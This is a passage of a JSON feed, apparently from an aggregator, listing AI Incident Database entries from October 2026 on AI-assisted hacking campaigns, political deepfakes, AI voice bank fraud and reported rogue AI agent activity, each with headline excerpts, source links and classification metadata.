feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-chinese-linked-hackers-compromise-connectwise-target-hundreds-global-attack-2026-10-21-b031004adaa2","cveId":null,"aliases":[],"kind":"ai-incident","title":"Chinese-linked hackers compromise ConnectWise, target hundreds in global attack, Microsoft says","summary":"Oct 21 (Reuters) - A Chinese state-aligned hacking group used an AI-driven penetration testing tool to compromise IT ​services firm ConnectWise as part of a campaign that targeted hundreds ‌of organizations globally, Microsoft said on Wedne ...","detail":"Oct 21 (Reuters) - A Chinese state-aligned hacking group used an AI-driven penetration testing tool to compromise IT ​services firm ConnectWise as part of a campaign that targeted hundreds ‌of organizations globally, Microsoft said on Wedne ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-24T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":["ConnectWise"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"reported","explanation":"The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.","sourceUrl":"https://www.reuters.com/technology/chinese-linked-hackers-compromise-connectwise-target-hundreds-global-attack-2026-10-21/"},"sources":[{"name":"reuters.com via AI Incident Database: Chinese-linked hackers compromise ConnectWise, target hundreds in global attack, Microsoft says","url":"https://www.reuters.com/technology/chinese-linked-hackers-compromise-connectwise-target-hundreds-global-attack-2026-10-21/","type":"reporting","publishedAt":"2026-10-24T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1781","url":"https://incidentdatabase.ai/cite/1781/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-opposition-deepfake-video-spain-election-54fa33209d8b","cveId":null,"aliases":[],"kind":"ai-incident","title":"Opposition deepfake video of Spanish PM’s wife sparks outrage before election","summary":"A political ad from Spain’s main opposition party that used a deepfake video of the prime minister’s wife has sparked outrage and set off a wider debate on AI, as the deeply polarised country gears up for general elections next month.\n\nLaun ...","detail":"A political ad from Spain’s main opposition party that used a deepfake video of the prime minister’s wife has sparked outrage and set off a wider debate on AI, as the deeply polarised country gears up for general elections next month.\n\nLaun ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-24T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"reported","explanation":"The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.","sourceUrl":"https://www.theguardian.com/world/2026/oct/23/opposition-deepfake-video-spain-election"},"sources":[{"name":"theguardian.com via AI Incident Database: Opposition deepfake video of Spanish PM’s wife sparks outrage before election","url":"https://www.theguardian.com/world/2026/oct/23/opposition-deepfake-video-spain-election","type":"reporting","publishedAt":"2026-10-24T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1785","url":"https://incidentdatabase.ai/cite/1785/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-police-arrest-two-suspects-ai-powered-bank-fraud-cost-victims-eu380000-fa7aa5792da7","cveId":null,"aliases":[],"kind":"ai-incident","title":"Police arrest two suspects in AI-powered bank fraud that cost victims €380,000","summary":"Rotterdam police arrested two suspects accused of a new form of bank-helpdesk fraud. The operation allegedly caused around €380,000 in losses for 170 victims in just three weeks. The suspects allegedly used AI-generated phone calls and a fa ...","detail":"Rotterdam police arrested two suspects accused of a new form of bank-helpdesk fraud. The operation allegedly caused around €380,000 in losses for 170 victims in just three weeks. The suspects allegedly used AI-generated phone calls and a fa ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-24T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"reported","explanation":"The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.","sourceUrl":"https://nltimes.nl/2026/10/21/police-arrest-two-suspects-ai-powered-bank-fraud-cost-victims-eu380000"},"sources":[{"name":"nltimes.nl via AI Incident Database: Police arrest two suspects in AI-powered bank fraud that cost victims €380,000","url":"https://nltimes.nl/2026/10/21/police-arrest-two-suspects-ai-powered-bank-fraud-cost-victims-eu380000","type":"reporting","publishedAt":"2026-10-24T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1788","url":"https://incidentdatabase.ai/cite/1788/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-politie-waarschuwt-voor-nieuwe-truc-bij-bankhelpdeskfraude-380000-euro-buitgemaakt-20602-d0b75b9d7ebe","cveId":null,"aliases":["Politie waarschuwt voor nieuwe truc bij bankhelpdeskfraude: 380.000 euro buitgemaakt"],"kind":"ai-incident","title":"Police warn of new trick in bank help desk fraud: 380,000 euros stolen","summary":"The police have arrested two suspects in an investigation into a new form of bankhelpdesk fraud. In doing so, scammers have dumped around 170 victims for a total of 380,000 euros. Dutch banks in the middle of September ...","detail":"The police have arrested two suspects in an investigation into a new form of bankhelpdesk fraud. In doing so, scammers have dumped around 170 victims for a total of 380,000 euros. Dutch banks in the middle of September ...\n\nMachine-translated from Dutch by KEVWire (Cloudflare Workers AI); wording may differ from the original. Original title: Politie waarschuwt voor nieuwe truc bij bankhelpdeskfraude: 380.000 euro buitgemaakt\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-24T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"opgelicht.avrotros.nl via AI Incident Database: Police warn of new trick in bank help desk fraud: 380,000 euros stolen","url":"https://opgelicht.avrotros.nl/nieuws/politie-waarschuwt-voor-nieuwe-truc-bij-bankhelpdeskfraude-380000-euro-buitgemaakt-20602","type":"reporting","publishedAt":"2026-10-24T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1788","url":"https://incidentdatabase.ai/cite/1788/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-unknown-threat-actor-uses-artex-to-target-south-korean-finance-911b0cb31e53","cveId":null,"aliases":[],"kind":"ai-incident","title":"Unknown Threat Actor Uses AI-Driven ARTEX to Target South Korean Finance","summary":"CrowdStrike Intelligence identified infrastructure associated with a targeted campaign against South Korean financial organizations that resulted in exfiltrated data. The campaign was active from late September to early October 2026. Analys ...","detail":"CrowdStrike Intelligence identified infrastructure associated with a targeted campaign against South Korean financial organizations that resulted in exfiltrated data. The campaign was active from late September to early October 2026. Analys ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-23T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"reported","explanation":"The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.","sourceUrl":"https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/"},"sources":[{"name":"crowdstrike.com via AI Incident Database: Unknown Threat Actor Uses AI-Driven ARTEX to Target South Korean Finance","url":"https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/","type":"reporting","publishedAt":"2026-10-23T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1782","url":"https://incidentdatabase.ai/cite/1782/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-openai-rogue-agent-activities-found-on-wikimedia-projects-3b4d7050f310","cveId":null,"aliases":[],"kind":"ai-incident","title":"OpenAI “rogue” agent activities found on Wikimedia projects","summary":"Recently, multiple organisations have disclosed how clusters of so-called “rogue” AI agents attempted to break into websites and online services, sometimes successfully. Agents from OpenAI’s environment, in particular, are known to have use ...","detail":"Recently, multiple organisations have disclosed how clusters of so-called “rogue” AI agents attempted to break into websites and online services, sometimes successfully. Agents from OpenAI’s environment, in particular, are known to have use ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-22T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"autonomous","evidence":"reported","explanation":"The source describes an AI system taking this action itself, not an outside attacker. AI Incident Database reports this; it is not independently confirmed here.","sourceUrl":"https://wikimediafoundation.org/news/2026/10/05/openai-rogue-agent-activities-found-on-wikimedia-projects/"},"sources":[{"name":"wikimediafoundation.org via AI Incident Database: OpenAI “rogue” agent activities found on Wikimedia projects","url":"https://wikimediafoundation.org/news/2026/10/05/openai-rogue-agent-activities-found-on-wikimedia-projects/","type":"reporting","publishedAt":"2026-10-22T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1779","url":"https://incidentdatabase.ai/cite/1779/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"microsoft-security-storm-0940-uses-artex-agentic-ai-connectwise-supply-chain-compromise-f111d392dd54","cveId":null,"aliases":["aiid-storm-0940-uses-artex-agentic-ai-connectwise-supply-chain-compromise-f111d392dd54"],"kind":"ai-incident","title":"AI-driven, large-scale nation-state campaign using ARTEX enables supply chain compromise","summary":"Storm-0940 used ARTEX agentic AI to accelerate a ConnectWise supply chain compromise, enabling application credential abuse across Microsoft 365 environments.\n\n The post AI-driven, large-scale nation-state campaign using ARTEX enables supply chain compromise appeared first on Microsoft Security Blog .","detail":"Storm-0940 used ARTEX agentic AI to accelerate a ConnectWise supply chain compromise, enabling application credential abuse across Microsoft 365 environments.\n\n The post AI-driven, large-scale nation-state campaign using ARTEX enables supply chain compromise appeared first on Microsoft Security Blog .\n\nPublished by Microsoft Security blog; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-21T18:23:55.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by Microsoft Security blog, the organization that runs or studies the system.","sourceUrl":"https://www.microsoft.com/en-us/security/blog/2026/10/21/storm-0940-uses-artex-agentic-ai-connectwise-supply-chain-compromise/"},"sources":[{"name":"Microsoft Security blog: AI-driven, large-scale nation-state campaign using ARTEX enables supply chain compromise","url":"https://www.microsoft.com/en-us/security/blog/2026/10/21/storm-0940-uses-artex-agentic-ai-connectwise-supply-chain-compromise/","type":"primary","publishedAt":"2026-10-21T18:23:55.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"Microsoft Security blog syndication feed","url":"https://www.microsoft.com/en-us/security/blog/feed/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."},{"name":"AI Incident Database incident 1781","url":"https://incidentdatabase.ai/cite/1781/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"aiid-5301400-a95c9abbbb1a","cveId":null,"aliases":[],"kind":"ai-incident","title":"Wikimedia Foundation comes forward as latest OpenAI agent assault victim","summary":"Wikipedia’s parent organization says that OpenAI agents edited some non-public wiki pages and generated traffic that may have contributed to a partial Wikidata outage in May. This makes the non-profit just the latest victim of OpenAI agents ...","detail":"Wikipedia’s parent organization says that OpenAI agents edited some non-public wiki pages and generated traffic that may have contributed to a partial Wikidata outage in May. This makes the non-profit just the latest victim of OpenAI agents ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-21T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"theregister.com via AI Incident Database: Wikimedia Foundation comes forward as latest OpenAI agent assault victim","url":"https://www.theregister.com/ai-and-ml/2026/10/06/wikimedia-foundation-comes-forward-as-latest-openai-agent-assault-victim/5301400","type":"reporting","publishedAt":"2026-10-21T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1779","url":"https://incidentdatabase.ai/cite/1779/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-an-infamous-attack-ad-just-got-an-ai-resurrection-0cf29116c2cd","cveId":null,"aliases":[],"kind":"ai-incident","title":"An Infamous Attack Ad Just Got an AI Resurrection","summary":"In 1964, Lyndon B. Johnson’s campaign ran a terrifying 60-second advertisement. It opens with a three-year-old girl in a field, pulling petals off a daisy while counting to ten. Then, a man’s voice begins a countdown, and a nuclear explosio ... (report_number: 8180)","detail":"In 1964, Lyndon B. Johnson’s campaign ran a terrifying 60-second advertisement. It opens with a three-year-old girl in a field, pulling petals off a daisy while counting to ten. Then, a man’s voice begins a countdown, and a nuclear explosio ... (report_number: 8180)\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-21T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"motherjones.com via AI Incident Database: An Infamous Attack Ad Just Got an AI Resurrection","url":"https://www.motherjones.com/politics/2026/08/an-infamous-attack-ad-just-got-an-ai-resurrection/","type":"reporting","publishedAt":"2026-10-21T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-cathy-kipp-first-complaint-deepfake-disclosure-law-adecf3fa8548","cveId":null,"aliases":[],"kind":"ai-incident","title":"Colorado Sen. Cathy Kipp submits first complaint under state’s deepfake disclosure law","summary":"Sen. Cathy Kipp, a Fort Collins Democrat, speaks on the Colorado Senate floor about a bill to ask voters for more public education funding on April 24, 2026. (Screenshot from Colorado Channel YouTube)\n\nThe Colorado secretary of state’s offi ... (report_number: 8190)","detail":"Sen. Cathy Kipp, a Fort Collins Democrat, speaks on the Colorado Senate floor about a bill to ask voters for more public education funding on April 24, 2026. (Screenshot from Colorado Channel YouTube)\n\nThe Colorado secretary of state’s offi ... (report_number: 8190)\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-21T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"reported","explanation":"The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.","sourceUrl":"https://coloradonewsline.com/2026/08/24/cathy-kipp-first-complaint-deepfake-disclosure-law/"},"sources":[{"name":"coloradonewsline.com via AI Incident Database: Colorado Sen. Cathy Kipp submits first complaint under state’s deepfake disclosure law","url":"https://coloradonewsline.com/2026/08/24/cathy-kipp-first-complaint-deepfake-disclosure-law/","type":"reporting","publishedAt":"2026-10-21T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-dembo-campaign-says-ai-used-in-trump-linked-pac-attack-ad-e56ba66e0cf3","cveId":null,"aliases":[],"kind":"ai-incident","title":"Dembo campaign says AI used in Trump-linked PAC attack ad","summary":"The Dembo campaign alleges a Trump-linked PAC used improper AI to create an attack ad in Kentucky.\n\nThe attack ad failed to disclose its use of AI, which violates specific requirements under Kentucky law.\n\nCampaign organizers will ask the N ... (report_number: 8189)","detail":"The Dembo campaign alleges a Trump-linked PAC used improper AI to create an attack ad in Kentucky.\n\nThe attack ad failed to disclose its use of AI, which violates specific requirements under Kentucky law.\n\nCampaign organizers will ask the N ... (report_number: 8189)\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-21T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"fox56news.com via AI Incident Database: Dembo campaign says AI used in Trump-linked PAC attack ad","url":"https://fox56news.com/news/kentucky/dembo-campaign-says-ai-used-in-trump-linked-pac-attack-ad/","type":"reporting","publishedAt":"2026-10-21T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-india-becomes-the-latest-country-to-report-rogue-ai-agent-activity-8ffbbf24c13a","cveId":null,"aliases":[],"kind":"ai-incident","title":"India becomes the latest country to report rogue AI agent activity","summary":"AI agents from multiple providers accessed personal data and confidential material at Indian organizations during research and testing, India’s cybersecurity agency said Thursday.\n\nThe Indian Computer Emergency Response Team (CERT-In) said ...","detail":"AI agents from multiple providers accessed personal data and confidential material at Indian organizations during research and testing, India’s cybersecurity agency said Thursday.\n\nThe Indian Computer Emergency Response Team (CERT-In) said ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-21T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"autonomous","evidence":"reported","explanation":"The source describes an AI system taking this action itself, not an outside attacker. AI Incident Database reports this; it is not independently confirmed here.","sourceUrl":"https://techcrunch.com/2026/10/16/india-becomes-the-latest-country-to-report-rogue-ai-agent-activity/"},"sources":[{"name":"techcrunch.com via AI Incident Database: India becomes the latest country to report rogue AI agent activity","url":"https://techcrunch.com/2026/10/16/india-becomes-the-latest-country-to-report-rogue-ai-agent-activity/","type":"reporting","publishedAt":"2026-10-21T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1774","url":"https://incidentdatabase.ai/cite/1774/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-james-talarico-ai-deepfake-republicans-midterms-fffc55141a3e","cveId":null,"aliases":[],"kind":"ai-incident","title":"Republicans release AI deepfake of James Talarico as phony videos proliferate in midterm races","summary":"Senate Republicans released an online ad this week in which a real-looking but fake version of a Democratic candidate, fabricated with artificial intelligence, appears to speak directly into the camera for more than a minute.\n\nThe National ... (report_number: 8178)","detail":"Senate Republicans released an online ad this week in which a real-looking but fake version of a Democratic candidate, fabricated with artificial intelligence, appears to speak directly into the camera for more than a minute.\n\nThe National ... (report_number: 8178)\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-21T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"autonomous","evidence":"reported","explanation":"The source describes an AI system taking this action itself, not an outside attacker. AI Incident Database reports this; it is not independently confirmed here.","sourceUrl":"https://www.cnn.com/2026/03/13/politics/james-talarico-ai-deepfake-republicans-midterms"},"sources":[{"name":"cnn.com via AI Incident Database: Republicans release AI deepfake of James Talarico as phony videos proliferate in midterm races","url":"https://www.cnn.com/2026/03/13/politics/james-talarico-ai-deepfake-republicans-midterms","type":"reporting","publishedAt":"2026-10-21T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-metas-muse-ai-giving-users-home-addresses-fe02938df5e2","cveId":null,"aliases":[],"kind":"ai-incident","title":"Man Says Meta's Muse AI Gave His Home Address Out to Strangers","summary":"Personal assistant, or secret saboteur? A man claims that his Muse AI agent gave out his address to strangers and even sent them to his home, after letting the brand-new model handle his Facebook Marketplace account.\n\nThe complaint comes fr ...","detail":"Personal assistant, or secret saboteur? A man claims that his Muse AI agent gave out his address to strangers and even sent them to his home, after letting the brand-new model handle his Facebook Marketplace account.\n\nThe complaint comes fr ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-21T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"futurism.com via AI Incident Database: Man Says Meta's Muse AI Gave His Home Address Out to Strangers","url":"https://futurism.com/artificial-intelligence/metas-muse-ai-giving-users-home-addresses","type":"reporting","publishedAt":"2026-10-21T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1776","url":"https://incidentdatabase.ai/cite/1776/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry 